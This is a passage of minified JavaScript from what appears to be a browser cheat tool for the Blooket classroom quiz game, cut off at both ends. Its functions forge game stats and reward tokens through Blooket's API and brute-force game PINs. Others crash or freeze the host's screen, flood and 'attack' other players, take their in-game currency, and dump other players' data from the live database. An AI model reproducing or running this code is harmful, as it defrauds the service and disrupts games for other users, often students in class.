fetch("https://play.blooket.com/api/playersessions/solo",{body:JSON.stringify({gameMode:"Factory",questionSetId:["5fac96fe2ca0da00042b018f","66702d024ec37ac03062cc06","600b1491d42a140004d5215a","65d4810a8a408800b6449e57","5fac96fe2ca0da00042b018f","615e9cd727d0720066bcf638","5fac96fe2ca0da00042b018f","600b1491d42a140004d5215a","63ee6c1fbd7c007948b2f986","65d8de5bd25f9bd49916d855","600b14d8d42a140004d52165","6352e93608ea4ee9d0a5fe7f","64cd1b99ff6f69f3025fc25a","600b1491d42a140004d5215a","5db75fa3f1fa190017b61c0c","65fb6005f986c984060ed92c","65e88b461a39195a37309c57","60cc9f943f191b00230ae2a2","61f5484186dade0979280d54","664418e736bd1bf1890b2dae","640a7d9bde68f5243d403977","66256e6b861ee38a258b8b61","65119f1fba0bb577d186df8e","661d7540a452254baf51b1dd","65ff17a207a715061a6249e6","61c3570ad8f92ff303ee4733","63efbff8e2b70e8a1bb1a583","644a30c06dd4d2c2c5c9c6ae","66461ff5c671f7c7db225cb3","664777444be95fa91fc9a4ee","6425e5e052b1ba5ae2cb07a2","612e2aad654d48002a4f384d","6548ffabcbe542c105812e64","666092337e18e9b7b044e6c8","6277e6ca21e2151edc435c53","6268270201c2a958b75af1cf","61aa4f9c190f70ceda79cf92","6680e522559ac110b3c6ef28","6657d986e92bbd481c12a6e8","61d877c1910d317630b69e02","618e5d8b7242bec7572b53ca","656d4a2ac3bc01302555bfbd","61d7463d2250de5603ad8ba1","6650bd7a87c4bb5302d69c08","61b1fdb09a3347d1a298157b","60b632ff2089ea0028d26fc8","5fdcacc85d465a0004b021b9","665e3161785c8a4e8853f995","61b9d07a7a1e178d18ccd903","6624a2cd861ee38a258b814d","650b3ccd54b65594ff99e620","61b2a39895bd185869e3844e","6581df4af27a6029a933d954","641eecaec2e1181b54481588","668ce3d2eb8513f5ed4c79c1","5fac96fe2ca0da00042b018f","6192afff6cb94db501ecc7d5","600b14d8d42a140004d52165","665898ae99eca64187ffe7df","5fe3d085a529560004cd3076","64fb8fbfdbeffc06f36f8f5f","654e79558169fc618f544ac7","628d24107ffc913af879c58a","617041e0e97439003084cb25","6408cc2a52d433570018126b","663c5686d93c1e441547529f","666c3d24c9e069d6094bbcce","6548ffabcbe542c105812e64","663d4766d93c1e4415476a9d","5f88953cdb209e00046522c7","64fcec87be8604702a6e0559","614b2b3747e4cd002c3c0e35","600b14d8d42a140004d52165","63640a18c5370a98f00349b1","6690e0ec559ac110b3c7b4dd","664644bd7ea36b003839459c","600b153ad42a140004d52172","63e638d8db4486e546547014","61406d240c2275002a272a95","627bced5fdb8934dfba749a8","619c2736a7fb3a4c9d3810cc","650a06c4fe5c6757ff82208c","6060c2240db34f001ddfe119","6525532901343f98c90eee3e","60101da869e8c70013913b59","625db660c6842334835cb4c6","60268f8861bd520016eae038","611e6c804abdf900668699e3","60ba5ff6077eb600221b7145","642467af9b704783215c1f1b","605bd360e35779001bf57c5e","6234cc7add097ff1c9cff3bd","600b1491d42a140004d5215a","5db75fa3f1fa190017b61c0c","5fac96fe2ca0da00042b018f","600b14d8d42a140004d52165","5f88953cdb209e00046522c7","600b153ad42a140004d52172","5fe260e72a505b00040e2a11","5fe3d085a529560004cd3076","5f5fc017aee59500041a1456","608b0a5863c4f2001eed43f4","5fad491512c8620004918ace","5fc91a9b4ea2e200046bd49a","5c5d06a7deebc70017245da7","5ff767051b68750004a6fd21","5fdcacc85d465a0004b021b9","5fb7eea20bd44300045ba495"][Math.floor(24*Math.random())]}),credentials:"include",method:"POST"}).then((e=>e.json()));await fetch("https://play.blooket.com/api/playersessions/landings",{body:JSON.stringify({t:e}),credentials:"include",method:"POST"}),await fetch("https://play.blooket.com/api/playersessions/questions?t="+e,{credentials:"include"});let{name:t,blook:{name:o}}=Object.values(function e(t=document.querySelector("body>div")){return Object.values(t)[1]?.children?.[0]?._owner.stateNode?t:e(t.querySelector(":scope>div"))}())[1].children[0]._owner.stateNode.props.user.data;await fetch("https://play.blooket.com/api/users/factorystats",{body:JSON.stringify({blookUsed:o,t:e,name:t,cash:Math.floor(9e7*Math.random())+1e7,correctAnswers:Math.floor(500*Math.random())+500,upgrades:Math.floor(300*Math.random())+300,mode:"Time-Solo",nameUsed:"You",place:1,playersDefeated:0}),credentials:"include",method:"PUT"}),fetch("https://play.blooket.com/api/users/add-rewards",{body:JSON.stringify({t:e,name:t,addedTokens:500,addedXp:300}),credentials:"include",method:"PUT"}).then((e=>e.json())).then((({dailyReward:e})=>alert(`Added max tokens and xp, and got ${e} daily wheel tokens!`))).catch((()=>alert("There was an error when adding rewards.")))}else alert("This cheat only works on play.blooket.com, opening a new tab."),window.open("https://play.blooket.com/")}},{name:"Use any Blook",description:"Allows you to play as any blook.",run:function(){(()=>{const e=Object.values(document.querySelector("#app>div>div"))[1].children[0]._owner.stateNode;let t=document.createElement("iframe");document.body.append(t);const o=t.contentWindow.alert.bind(window);if(t.remove(),e.state.unlocks||e.state.blookData)if(e.state.blookData){let t=Object.entries;Object.entries=function(o){var a;return o?.Chick&&(a=o,e.setState({blookData:Object.keys(a).reduce(((t,o)=>(t[o]=e.state.blookData[o]||1,t)),{}),allSets:Object.values(a).reduce(((e,t)=>(!e.includes(t.set)&&e.push(t.set),e)),[])}),Object.entries=t),t.apply(this,arguments)},e.render()}else e.setState({unlocks:{includes:e=>1}});else o("This must be run on the lobby or dashboard!")})()}},{name:"Freeze Host",description:"Freezes the host's screen",run:function(){const encodedChars=["\\u2f9f","\\u4fff","\\u4f52","\\u0E47","\\u0E47","\\u0E47","\\u0E47","\\u0E47","\\u0E47","\\u0E47","\\u4FF1","\\u4FF2"],chars=encodedChars.map((char=>eval(`"${char}"`)));function makeLongText(){return new Array(3e6).fill().map((e=>chars[Math.floor(Math.random()*chars.length)])).join("")}let{props:t}=Object.values(function e(t=document.querySelector("body>div")){return Object.values(t)[1]?.children?.[0]?._owner.stateNode?t:e(t.querySelector(":scope>div"))}())[1].children[0]._owner.stateNode,repeatedText=makeLongText();t.client.blook=repeatedText,t.liveGameController.setVal({path:`c/${t.client.name}/b`,val:repeatedText})}},{name:"Remove all Taken Blooks",description:"Removes all taken blooks, allowing you to use any taken blook. Only works in lobby.",run:function(){const e=Object.values(document.querySelector("#app>div>div"))[1].children[0]._owner.stateNode;e.setState({takenBlooks:{includes:e=>!1}}),e.setState=function(t,o){t?.takenBlooks||e.updater.enqueueSetState(e,t,o,"setState")}}},{name:"Dynamic Player Count",description:"Updates the player count at the top of the screen in realtime as players join or leave.",run:function(){(async()=>{const e=Object.values(document.querySelector("#app>div>div"))[1].children[0]._owner.stateNode;(await e.props.liveGameController.getDatabaseRef("")).on("value",(t=>{document.querySelector("div[class*='headerTextCenter']").innerHTML=`Player Count | ${Object.keys(t.val()?.c)?.length} / ${e.props.client.plus?300:60}`}))})()}},{name:"Blooket Bot",description:"Opens Blooket Bot",run:function(){const e=function(){const e=document.querySelector("#app>div>div");if(e){const t=Object.values(e)[1]?.children[0]?._owner;return t?.stateNode?.props?.client?.hostId||null}return null}(),t=e?"https://blooketbot.glitch.me/?code="+e:"https://blooketbot.glitch.me/";window.open(t,"_blank","width=500,height=500,resizable=yes,scrollbars=yes,status=yes")}},{name:"Blooket Homework Editor",description:"Opens Blooket Homework Editor",run:function(){window.open("https://blookethwk.glitch.me/","_blank","width=500,height=500,resizable=yes,scrollbars=yes,status=yes")}},{name:"Lobbychat",description:"Chat with other people and execute commands",run:function(){if(window.run)return;function e(){return Object.values(document.querySelector("#app>div>div"))[1].children[0]._owner}window.run=!0;var t=0,o=!1;document.addEventListener("keydown",(function(e){"`"===e.key&&(o=!o,a.style.display=o?"none":"block")}));let a=document.createElement("div");a.className="chat-box",document.body.appendChild(a);let n=document.createElement("div");n.className="chat-header",n.textContent="Chat",a.appendChild(n);let r=document.createElement("div");r.className="chat-body",a.appendChild(r);let i=document.createElement("input");function l(e){let t=document.createElement("div");t.textContent=e,r.appendChild(t)}i.type="text",i.className="chat-input",i.placeholder="Type a message...",a.appendChild(i),a.style.position="fixed",a.style.bottom="20px",a.style.right="20px",a.style.width="300px",a.style.backgroundColor="#fff",a.style.border="1px solid #ccc",a.style.boxShadow="0px 0px 10px rgba(0, 0, 0, 0.2)",n.addEventListener("click",(()=>{r.classList.toggle("open")})),i.addEventListener("keydown",(function(o){13===o.keyCode&&(function(o){var a,n,i,s,c,d,u,p=function(e){if("/"!==e.charAt(0))return!1;var t=e.split(" "),o=t[0].replace("/","");return t.splice(0,1),{cmd:o,args:t}}(o);if(p)switch(p.cmd){case"cb":a=p.args.join(" "),(n=webpackJsonp.push([[],{1234(e,t,o){t.webpack=o}},[["1234"]]]).webpack("MDrD").a)[a=Object.keys(n).find((e=>a.toLocaleLowerCase()===e.toLocaleLowerCase()))]?(l("Setting blook to "+a+"!"),e().stateNode.props.liveGameController.setVal({id:e().stateNode.props.client.hostId,path:"c/"+e().stateNode.props.client.name,val:{b:a}}),e().stateNode.props.client.blook=a):l("No blook with that name was found!");break;case"clear":r.innerHTML="";break;case"dumpstate":Object.keys(e().stateNode.state).map((t=>{var o=e().stateNode.state[t];if(null==o)return"N/A";Array.from(o)&&"object"==typeof o&&(o="[Array]"),l(t+":"+o)})).join(";");break;case"list":e().stateNode.props.liveGameController.getDatabaseVal("c").then((e=>{l("Current Players("+Object.keys(e).length+"): "+Object.keys(e).join(","))}));break;case"tlog":window.logsv=!window.logsv,l("SetVal log set to "+(window.logsv?"Enabled":"Disabled"));break;case"setval":i=p.args,e().stateNode.props.liveGameController.setVal({path:"c/"+e().stateNode.props.client.name+"/"+i[0],val:i.slice(1,i.length).join(" ")});break;case"setstate":s=p.args,c={},s.forEach((e=>{var t=e.split(":");Number.isNaN(parseInt(t[1]))||parseInt(t[1]).toString()!==t[1]||(t[1]=parseInt(t[1])),c[t[0]]=t[1]})),e().stateNode.setState(c),l("Set Successful!");break;case"ahelp":l("Advanced Commands: setval(sets val logged by tlog ex /setval b Chicken), tlog(toggles setval log), dumpstate(dumps react state),setstate(sets react state /setstate crypto:5 crypto2:5 etc)");break;case"help":l("Available Commands: help(gives help),ahelp(advanced commands help), cb(changes blook /cb cow), list(lists players connected), dump(dumps all available info about a player, passwords, etc(/dump player)), clear(clears chat), code(gives game code), unlock(unlocks blook on lobby screen)");break;case"dump":!function(t){e().stateNode.props.liveGameController.getDatabaseVal("c/"+t).then((e=>{l(null!=e?"Dump: "+JSON.stringify(e):"Player not found!")}))}(p.args.join(" "));break;case"unlock":d=p.args.join(" "),(u=webpackJsonp.push([[],{1234(e,t,o){t.webpack=o}},[["1234"]]]).webpack("MDrD").a)[d=Object.keys(u).find((e=>d.toLocaleLowerCase()===e.toLocaleLowerCase()))]?(e().stateNode.state.unlocks.push(d),e().stateNode.forceUpdate()):l("No blook with that name was found!");break;case"code":l("Game Code: "+e().stateNode.props.client.hostId);break;default:l("Unrecognized chat command!")}else e().stateNode.props.liveGameController.setVal({id:e().stateNode.props.client.hostId,path:"c/"+e().stateNode.props.client.name+"/msg",val:{i:t,msg:o}}),t++}(o.srcElement.value),o.srcElement.value="")}));var s=e().stateNode.props.liveGameController._liveApp.database()._delegate._repoInternal.server_.onDataUpdate_;function c(e){window.logsv&&l("Path: "+e.path.split("/").splice(2,2).join("/")+" Val: "+("object"==typeof e.val?JSON.stringify(e.val):e.val))}e().stateNode.props.liveGameController._liveApp.database()._delegate._repoInternal.server_.onDataUpdate_=function(e,t,o,a){var n,r;console.log(e,t,o,a),n=e,null!=(r=t)&&n.includes("/msg")&&r?.msg&&(console.log(r.msg),l(n.split("/")[2]+": "+r.msg)),s(e,t,o,a)},window.logsv=!1;var d=e().stateNode.props.liveGameController.setVal;e().stateNode.props.liveGameController.setVal=function(){c.apply(this,arguments),d.apply(this,arguments)},e().stateNode.props.liveGameController._liveApp.database().ref(`${e().stateNode.props.liveGameController._liveGameCode}`).on("value",(e=>{})),l("Lobbychat successfully loaded!"),a.style.wordWrap="break-word"}},{name:"Pin Guesser",description:"Brute forces combinations for existing pins",run:function(){var e=0,t=0,o=document.querySelector("div[class*='titleText']");function a(){return Object.values(function e(t=document.querySelector("body>div")){return Object.values(t)[1]?.children?.[0]?._owner.stateNode?t:e(t.querySelector(":scope>div"))}())[1].children[0]._owner.stateNode}!function n(){let r=Math.floor(9e6*Math.random())+1e6;fetch(`https://fb.blooket.com/c/firebase/id?id=${r}`,{method:"GET",credentials:"include"}).then((e=>e.json())).then((i=>{!0===i.success?(console.log("Game found:",r),o.innerHTML="Game Found!",a().setState({client:{hostId:r.toString()}})):(console.log("No game found for:",r),a().setState({client:{hostId:r.toString()}}),e++,o.innerHTML="Guesses: "+e,++t>15?(setTimeout(n,1e3),t=0):n())})).catch((e=>{alert("Error:"+e)}))}()}},{name:"Crash Game",description:"Crashes the host's game",run:function(){var e=Object.values(function e(t=document.querySelector("#app")){return Object.values(t)[1]?.children?.[0]?._owner.stateNode?t:e(t.querySelector(":scope>div"))}())[1].children[0]._owner.stateNode;e.props.liveGameController.setVal({path:`c/${e.props.client.name}/b/toString`,val:"Crashed"})}},{name:"Every Answer Correct",description:"Sets every answer to be correct",run:function(){let{stateNode:e}=Object.values(function e(t=document.querySelector("body>div")){return Object.values(t)[1]?.children?.[0]?._owner.stateNode?t:e(t.querySelector(":scope>div"))}())[1].children[0]._owner;e.freeQuestions=e.freeQuestions?.map?.((e=>({...e,correctAnswers:e.answers}))),e.questions=e.questions?.map?.((e=>({...e,correctAnswers:e.answers}))),e.props.client.questions=e.props.client.questions.map((e=>({...e,correctAnswers:e.answers})))}},{name:"Remove Name Limit",description:"Sets the name limit to 120, which is the actual max name length limit",run:function(){var e=document.createElement("iframe");document.body.append(e),window.alert=e.contentWindow.alert.bind(window),e.remove(),document.querySelector('input[class*="nameInput"]').maxLength=120,alert("Removed name length limit")}},{name:"Remove Random Name",description:"Allows you to put a custom name",run:function(){Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode.setState({isRandom:!1,client:{name:""}}),document.querySelector('[class*="nameInput"]')?.focus?.()}},{name:"Sell Cheap Duplicates",description:"Sells all of your uncommon to epic dupes (not legendaries+)",run:function(){var e=document.createElement("iframe");document.body.append(e),window.alert=e.contentWindow.alert.bind(window),window.confirm=e.contentWindow.confirm.bind(window),e.remove();let t=webpackJsonp.push([[],{1234(e,t,o){t.webpack=o}},[["1234"]]]).webpack,o=Object.values(t.c).find((e=>e.exports?.a?.get)).exports.a,a=Object.values(t.c).find((e=>e.exports.a?.sellBlook)).exports.a.sellBlook;o.get("https://dashboard.blooket.com/api/users").then((async({data:{unlocks:e}})=>{if(e=Object.entries(e).filter((([e,t])=>1<t&&!["Legendary","Chroma","Mystical"].includes(webpackJsonp.push([[],{1234(e,t,o){t.webpack=o}},[["1234"]]]).webpack("MDrD").a[e].rarity))),confirm("Are you sure you want to sell your uncommon to epic dupes?")){var t,o,n=Date.now();for([t,o]of e)await a({blook:t,numToSell:o-1});alert(`(${Date.now()-n}ms) Results: `+e.map((([e,t])=>` ${e} `+(t-1))).join(" "))}})).catch((()=>alert("There was an error user data!")))}},{name:"Sell Duplicate Blooks",description:"Sell all duplicate blooks leaving you with 1 each",run:async function(){let e=document.createElement("iframe");if(document.body.append(e),window.alert=e.contentWindow.alert.bind(window),window.confirm=e.contentWindow.confirm.bind(window),e.remove(),/dashboard.*\/blooks/.test(window.location.href)){if(confirm("Are you sure you want to sell your dupes? (Legendaries and rarer will not be sold)")){let{stateNode:e}=Object.values(function e(t=document.querySelector("body>div")){return Object.values(t)[1]?.children?.[0]?._owner.stateNode?t:e(t.querySelector(":scope>div"))}())[1].children[0]._owner,t=Date.now(),o="";for(let t in e.state.blookData)if(e.state.blookData[t]>1){if(e.setState({blook:t,numToSell:e.state.blookData[t]-1}),["Legendary","Chroma","Mystical"].includes(document.querySelector("[class*='highlightedRarity']").innerText.trim()))continue;o+=` ${t} ${e.state.blookData[t]-1} `,await e.sellBlook({preventDefault(){}},!0)}alert(`(${Date.now()-t}ms) Results: ${o.trim()}`)}}else alert("This can only be ran in the Blooks page.")}}],voyage:[{name:"Heist ESP",description:"Shows you what's under each chest during a heist",type:"toggle",enabled:!1,data:null,run:function(){this.enabled?(this.enabled=!1,clearInterval(this.data),this.data=null,Array.prototype.forEach.call(document.querySelectorAll(".chestESP"),(e=>e.remove()))):(this.enabled=!0,this.data=setInterval((()=>{(async()=>{let{stateNode:e}=Object.values(function e(t=document.querySelector("body>div")){return Object.values(t)[1]?.children?.[0]?._owner.stateNode?t:e(t.querySelector(":scope>div"))}())[1].children[0]._owner;if("heist"==e.state.stage){const e=Array.prototype.map.call(Array.prototype.slice.call(document.querySelector("[class*=prizesList]").children,1,4),(e=>e.querySelector("img").src)),t=Object.values(document.querySelector("[class*=modal]"))[0].return.memoizedState.memoizedState;for(const e of document.querySelectorAll("[class*=boxContent] > div"))e.remove();const o=Object.values(document.querySelector("[class*=modal]"))[0].return.memoizedState.next.next.memoizedState;Array.prototype.forEach.call(document.querySelector("[class*=chestsWrapper]").children,((a,n)=>{const r=a.firstChild.firstChild;if(o.includes(n))return r.style.opacity="";r.style.opacity="0.5";let i=document.createElement("div");i.innerHTML="<img src='"+e[2-t[n]]+"' style='max-width: 75%; max-height: 75%'></img>",i.className="chestESP",i.style.position="absolute",i.style.inset="0",i.style.display="grid",i.style.placeItems="center",i.style.pointerEvents="none",a.onclick=()=>{i.remove(),r.style.opacity=""},a.firstChild.prepend(i)}))}})()}),50))}},{name:"Max Levels",description:"Maxes out all islands and your boat",run:function(){let{stateNode:e}=Object.values(function e(t=document.querySelector("body>div")){return Object.values(t)[1]?.children?.[0]?._owner.stateNode?t:e(t.querySelector(":scope>div"))}())[1].children[0]._owner;e.setState({islandLevels:Array(e.state.islandLevels.length).fill(5)},e.updateBoatLevel)}},{name:"Set Doubloons",description:"Sets Doubloons",inputs:[{name:"Amount",type:"number"}],run:function(e){let t=document.createElement("iframe");document.body.append(t),window.prompt=t.contentWindow.prompt.bind(window),t.remove();let{stateNode:o}=Object.values(function e(t=document.querySelector("body>div")){return Object.values(t)[1]?.children?.[0]?._owner.stateNode?t:e(t.querySelector(":scope>div"))}())[1].children[0]._owner;o.setState({doubloons:e}),o.props.liveGameController.setVal({path:`c/${o.props.client.name}/d`,val:e})}},{name:"Start Heist",description:"Starts a heist on someone",inputs:[{name:"Player",type:"options",options(){let{stateNode:e}=Object.values(function e(t=document.querySelector("body>div")){return Object.values(t)[1]?.children?.[0]?._owner.stateNode?t:e(t.querySelector(":scope>div"))}())[1].children[0]._owner;return new Promise((t=>e.props.liveGameController._liveApp?e.props.liveGameController.getDatabaseVal("c",(e=>e&&t(Object.keys(e)))):t([])))}}],run:function(e){let t=document.createElement("iframe");document.body.append(t),window.prompt=t.contentWindow.prompt.bind(window),t.remove();let{stateNode:o}=Object.values(function e(t=document.querySelector("body>div")){return Object.values(t)[1]?.children?.[0]?._owner.stateNode?t:e(t.querySelector(":scope>div"))}())[1].children[0]._owner;o.props.liveGameController.getDatabaseVal("c",(function(t){let a=Object.entries(t||{}).reduce(((e,[t,a])=>(t!=o.props.client.name&&e.push({name:t,blook:a.b,doubloons:a.d||0}),e)),[]);if(0===a.length)return o.questionsToAnswer=1,void o.randomQ();let{name:n,blook:r,doubloons:i}=a.find((t=>t.name==e))||a.sort(((e,t)=>t.doubloons-e.doubloons))[0];o.setState({stage:"heist",heistInfo:{name:n,blook:r},prizeAmount:Math.max(1e3,i)})}))}},{name:"Swap Doubloons",description:"Swaps Doubloons with someone",inputs:[{name:"Player",type:"options",options(){let{stateNode:e}=Object.values(function e(t=document.querySelector("body>div")){return Object.values(t)[1]?.children?.[0]?._owner.stateNode?t:e(t.querySelector(":scope>div"))}())[1].children[0]._owner;return new Promise((t=>e.props.liveGameController._liveApp?e.props.liveGameController.getDatabaseVal("c",(e=>e&&t(Object.keys(e)))):t([])))}}],run:async function(e){let t=document.createElement("iframe");document.body.append(t),window.prompt=t.contentWindow.prompt.bind(window),t.remove();let{stateNode:o}=Object.values(function e(t=document.querySelector("body>div")){return Object.values(t)[1]?.children?.[0]?._owner.stateNode?t:e(t.querySelector(":scope>div"))}())[1].children[0]._owner,a=Object.entries(await new Promise((e=>o.props.liveGameController.getDatabaseVal("c",e)))).sort(((e,t)=>t[1].d-e[1].d)).filter((e=>e[0]!=o.props.client.name)),n=a.find((t=>t[0]==e))||a[0];o.props.liveGameController.setVal({path:`c/${o.props.client.name}`,val:{b:o.props.client.blook,d:n[1].d,tat:`${n[0]}:${n[1].d-o.state.doubloons}`}}),o.setState({doubloons:n[1].d})}},{name:"Take Doubloons",description:"Takes Doubloons from someone",inputs:[{name:"Player",type:"options",options(){let{stateNode:e}=Object.values(function e(t=document.querySelector("body>div")){return Object.values(t)[1]?.children?.[0]?._owner.stateNode?t:e(t.querySelector(":scope>div"))}())[1].children[0]._owner;return new Promise((t=>e.props.liveGameController._liveApp?e.props.liveGameController.getDatabaseVal("c",(e=>e&&t(Object.keys(e)))):t([])))}}],run:async function(e){let t=document.createElement("iframe");document.body.append(t),window.prompt=t.contentWindow.prompt.bind(window),t.remove();let{stateNode:o}=Object.values(function e(t=document.querySelector("body>div")){return Object.values(t)[1]?.children?.[0]?._owner.stateNode?t:e(t.querySelector(":scope>div"))}())[1].children[0]._owner,a=Object.entries(await new Promise((e=>o.props.liveGameController.getDatabaseVal("c",e)))).sort(((e,t)=>t[1].d-e[1].d)).filter((e=>e[0]!=o.props.client.name)),n=a.find((t=>t[0]==e))||a[0];o.setState({doubloons:o.state.doubloons+n[1].d}),o.props.liveGameController.setVal({path:`c/${o.props.client.name}`,val:{b:o.props.client.blook,d:n[1].d,tat:`${n[0]}:${n[1].d}`}})}},{name:"Send Ad Text",description:"Sends a load of text to another player (This will override your blook!)",inputs:[{name:"Player",type:"options",options(){let{stateNode:e}=Object.values(function e(t=document.querySelector("body>div")){return Object.values(t)[1]?.children?.[0]?._owner.stateNode?t:e(t.querySelector(":scope>div"))}())[1].children[0]._owner;return new Promise((t=>e.props.liveGameController._liveApp?e.props.liveGameController.getDatabaseVal("c",(e=>e&&t(Object.keys(e)))):t([])))}},{name:"Text"}],run:async function(e,t){let{props:o}=Object.values(function e(t=document.querySelector("body>div")){return Object.values(t)[1]?.children?.[0]?._owner.stateNode?t:e(t.querySelector(":scope>div"))}())[1].children[0]._owner.stateNode,a=`Dog:${Array(500).fill(t).join(" ")}`;o.client.blook=a,o.liveGameController.setVal({path:`c/${o.client.name}/b`,val:a}),o.liveGameController.setVal({path:`c/${o.client.name}/tat`,val:`${e}:196`})}}],brawl:[{name:"Double Enemy XP",description:"Doubles enemy XP drop value",run:function(){for(let t of Object.values(document.querySelector("#app > div > div"))[1].children[0]._owner.stateNode.game.current.scene.scenes[0].physics.world.colliders._active.filter((e=>e.callbackContext?.toString().includes("invulnerableTime")))){var e=t.object2;let o=e.classType.prototype.start;e.classType.prototype.start=function(){o.apply(this,arguments),this.val*=2},e.children.entries.forEach((e=>e.val*=2))}}},{name:"Half Enemy Speed",description:"Makes enemies move 2x slower",run:function(){for(let t of Object.values(document.querySelector("#app > div > div"))[1].children[0]._owner.stateNode.game.current.scene.scenes[0].physics.world.colliders._active.filter((e=>e.callbackContext?.toString().includes("invulnerableTime")))){var e=t.object2;let o=e.classType.prototype.start;e.classType.prototype.start=function(){o.apply(this,arguments),this.speed*=.5},e.children.entries.forEach((e=>e.speed*=.5))}}},{name:"Instant Kill",description:"Sets all enemies health to 1",run:function(){for(let t of Object.values(document.querySelector("#app > div > div"))[1].children[0]._owner.stateNode.game.current.scene.scenes[0].physics.world.colliders._active.filter((e=>e.callbackContext?.toString().includes("invulnerableTime")))){var e=t.object2;let o=e.classType.prototype.start;e.classType.prototype.start=function(){o.apply(this,arguments),this.hp=1},e.children.entries.forEach((e=>e.hp=1))}}},{name:"Invincibility",description:"Makes you invincible",run:function(){for(let e of Object.values(document.querySelector("#app > div > div"))[1].children[0]._owner.stateNode.game.current.scene.scenes[0].physics.world.colliders._active.filter((e=>e.callbackContext?.toString().includes("invulnerableTime"))))e.collideCallback=()=>{}}},{name:"Magnet",description:"Pulls all xp towards you",run:function(){Object.values(document.querySelector("#app > div > div"))[1].children[0]._owner.stateNode.game.current.scene.scenes[0].physics.world.colliders._active.find((e=>e.collideCallback?.toString().includes("magnetTime"))).collideCallback({active:!0},{active:!0,setActive(){},setVisible(){}})}},{name:"Max Current Abilities",description:"Maxes out all your current abilities",run:function(){let e=Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode;for(var[t,o]of Object.entries(e.state.abilities))for(let a=0;a<10-o;a++)e.game.current.scene.scenes[0].game.events.emit("level up",t,e.state.abilities[t]++);e.setState({level:e.game.current.scene.scenes[0].level=[1,3,5,10,15,25,35].sort(((t,o)=>Math.abs(t-e.state.level)-Math.abs(o-e.state.level)))[0]-1})}},{name:"Next Level",description:"Skips to the next level",run:function(){var e=Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode,{object1:t,object2:o}=e.game.current.scene.scenes[0].physics.world.colliders._active.find((e=>e.collideCallback?.toString().includes('emit("xp"')));o.get().spawn(t.x,t.y,(1===(o=e.state.level)?1:o<5?5:o<10?10:o<20?20:o<30?30:o<40?40:o<50?50:100)-e.xp)}},{name:"Remove Obstacles",description:"Removes all rocks and obstacles",run:function(){Object.values(document.querySelector("#app > div > div"))[1].children[0]._owner.stateNode.game.current.scene.scenes[0].physics.world.bodies.entries.forEach((e=>{try{e.gameObject.frame.texture.key.includes("obstacle")&&e.gameObject.destroy()}catch{}}))}},{name:"Kill Enemies",description:"Kills all current enemies",run:function(){Object.values(document.querySelector("#app > div > div"))[1].children[0]._owner.stateNode.game.current.scene.scenes[0].physics.world.bodies.entries.forEach((e=>e?.gameObject?.receiveDamage?.(e.gameObject.hp,1)))}},{name:"Reset Health",description:"Resets health and gives invincibility for 3 seconds",run:function(){Object.values(document.querySelector("#app > div > div"))[1].children[0]._owner.stateNode.game.current.scene.scenes[0].game.events._events.respawn.fn()}},{name:"Set XP",description:"Sets amount of XP",inputs:[{name:"XP",type:"number"}],run:function(e){var t=Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode;t.setState({xp:e,totalXp:e}),t.xp=e,t.totalXp=e,t.props?.liveGameController.setVal({path:"c/".concat(t.props.client.name),val:{b:t.props.client.blook,xp:e}})}},{name:"Set Level",description:"Sets your level",inputs:[{name:"XP",type:"number"}],run:function(e){Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode.setState({level:e})}}],cafe:[{name:"Max Items",description:"Maxes out items in the shop (Only usable in the shop)",run:function(){var e=document.createElement("iframe");document.body.append(e),window.alert=e.contentWindow.alert.bind(window),e.remove(),"/cafe/shop"!==window.location.pathname?alert("This can only be run in the shop"):(e=Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode).setState({items:Object.fromEntries(Object.entries(e.state.items).map((e=>[e[0],5])))})}},{name:"Remove Customers",description:"Skips the current customers (Not usable in the shop)",run:function(){let e=Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode;e.state.customers.forEach(((t,o)=>Object.keys(t).length&&e.removeCustomer(o,!0)))}},{name:"Reset Abilities",description:"Resets used abilities in shop (Only usable in the shop)",run:function(){var e=document.createElement("iframe");document.body.append(e),window.alert=e.contentWindow.alert.bind(window),e.remove(),"/cafe/shop"!==window.location.pathname?alert("This can only be run in the shop"):(e=Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode).setState({abilities:Object.fromEntries(Object.entries(e.state.abilities).map((e=>[e[0],5])))})}},{name:"Set Cash",description:"Sets cafe cash",inputs:[{name:"Amount",type:"number"}],run:function(e){var t=Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode;t.setState({cafeCash:e}),t.props.liveGameController.setVal({path:"c/"+t.props.client.name,val:{b:t.props.client.blook,ca:e}})}},{name:"Spam Attack Player",description:"Attacks the player to make the game unplayable",inputs:[{name:"Player",type:"options",options(){let{stateNode:e}=Object.values(function e(t=document.querySelector("body>div")){return Object.values(t)[1]?.children?.[0]?._owner.stateNode?t:e(t.querySelector(":scope>div"))}())[1].children[0]._owner;return new Promise((t=>e.props.liveGameController._liveApp?e.props.liveGameController.getDatabaseVal("c",(e=>e&&t(Object.keys(e)))):t([])))}}],type:"toggle",enabled:!1,data:null,run:function(e){if(this.enabled)this.enabled=!1,clearInterval(this.data),this.data=null;else{this.enabled=!0;var t=e+":inspect";this.data=setInterval((function(){var e=Object.values(document.querySelector('body div[class*="_body"]'))[1].children[0]._owner;e&&e.stateNode&&e.stateNode.props&&e.stateNode.props.liveGameController&&e.stateNode.props.liveGameController.setVal({id:e.stateNode.props.client.hostId,path:"c/"+e.stateNode.props.client.name+"/tat",val:t})}),50)}}},{name:"Attack Player",description:"Sends the player a health inspection",inputs:[{name:"Player's Name",type:"text"}],run:function(e){function t(){return Object.values(document.querySelector('body div[class*="_body"]'))[1].children[0]._owner}t().stateNode.props.liveGameController.setVal({id:t().stateNode.props.client.hostId,path:"c/"+t().stateNode.props.client.name+"/tat",val:e+":inspect"})}},{name:"Stock Food",description:"Stocks all food to 99 (Not usable in the shop)",run:function(){var e=document.createElement("iframe");document.body.append(e),window.alert=e.contentWindow.alert.bind(window),e.remove(),"/cafe"!==window.location.pathname?alert("This can't be run in the shop"):(e=Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode).setState({foods:e.state.foods.map((e=>({...e,stock:99,level:5})))})}}],crypto:[{name:"Choice ESP",description:"Shows what each choice will give 